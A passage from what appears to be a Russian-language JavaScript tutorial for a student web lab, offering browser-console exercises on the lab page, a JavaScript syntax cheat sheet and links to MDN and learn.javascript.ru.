> Для текстовых данных нужен `textContent`, который ничего не парсит.
|
||||
|
||||
---
|
||||
|
||||
## 13. Что попробовать прямо сейчас
|
||||
|
||||
Открой страницу, нажми F12 → Console и поэкспериментируй:
|
||||
|
||||
```js
|
||||
history // текущий массив проверок
|
||||
history.length // сколько записей
|
||||
currentR // выбранный R
|
||||
checkHit(1, 1, 3) // проверить точку руками
|
||||
checkHit(0, 0, 1) // граница — попадает?
|
||||
|
||||
currentR = 5; drawGraph(); // поменять R «мимо» кнопок
|
||||
localStorage.getItem('web_lab1_history') // что лежит в хранилище
|
||||
|
||||
document.querySelectorAll('.r-button').length // 5
|
||||
document.getElementById('y-input').value = '2' // вписать Y из консоли
|
||||
```
|
||||
|
||||
Полезные упражнения для понимания:
|
||||
|
||||
1. Закомментируй `e.preventDefault()` в обработчике `submit` — посмотри, что
|
||||
страница перезагружается и всё состояние теряется.
|
||||
2. Поменяй `if (formSubmitted)` на `if (true)` в обработчике `input` поля Y —
|
||||
увидишь, зачем нужен этот флаг.
|
||||
3. Введи в поле функции `x^2 + y^2 < R^2` и нажми «Отрисовать» — увидишь
|
||||
попиксельную отрисовку круга.
|
||||
4. Запиши в `localStorage` мусор через DevTools (`Application → Local Storage`)
|
||||
и перезагрузи — фильтр должен его отбросить, а страница не упасть.
|
||||
|
||||
---
|
||||
|
||||
## 14. Шпаргалка
|
||||
|
||||
```js
|
||||
// Переменные
|
||||
const x = 1; let y = 2;
|
||||
|
||||
// Условия
|
||||
if (a === b) { } else if (c) { } else { }
|
||||
const r = cond ? 'да' : 'нет';
|
||||
|
||||
// Функции
|
||||
function f(a, b = 0) { return a + b; }
|
||||
const g = (a) => a * 2;
|
||||
|
||||
// Массивы
|
||||
arr.push(x); arr.length; arr.includes(x);
|
||||
arr.forEach(el => { }); arr.filter(el => cond); [...arr];
|
||||
|
||||
// Объекты
|
||||
const o = { key: 'val' }; o.key; o.key = 'new';
|
||||
|
||||
// DOM
|
||||
document.getElementById('id');
|
||||
document.querySelectorAll('.class');
|
||||
el.value; el.checked; el.textContent; el.innerHTML;
|
||||
el.classList.add('x'); el.classList.remove('x');
|
||||
el.addEventListener('click', () => { });
|
||||
|
||||
// Строки → числа
|
||||
parseFloat('2.5'); Number('2.5'); isNaN(x);
|
||||
str.trim(); str.replace(',', '.');
|
||||
|
||||
// Ошибки
|
||||
try { } catch (e) { e.message }
|
||||
throw new Error('текст');
|
||||
|
||||
// Хранилище
|
||||
localStorage.setItem(k, JSON.stringify(v));
|
||||
JSON.parse(localStorage.getItem(k));
|
||||
|
||||
// Шаблонные строки
|
||||
`значение: ${x}`
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ссылки
|
||||
|
||||
- [MDN JavaScript (рус.)](https://developer.mozilla.org/ru/docs/Web/JavaScript) — официальная документация
|
||||
- [learn.javascript.ru](https://learn.javascript.ru/) — лучший учебник на русском
|
||||
- [MDN Canvas API](https://developer.mozilla.org/ru/docs/Web/API/Canvas_API/Tutorial) — про рисование
|
||||
Reference in New Issue
Block a user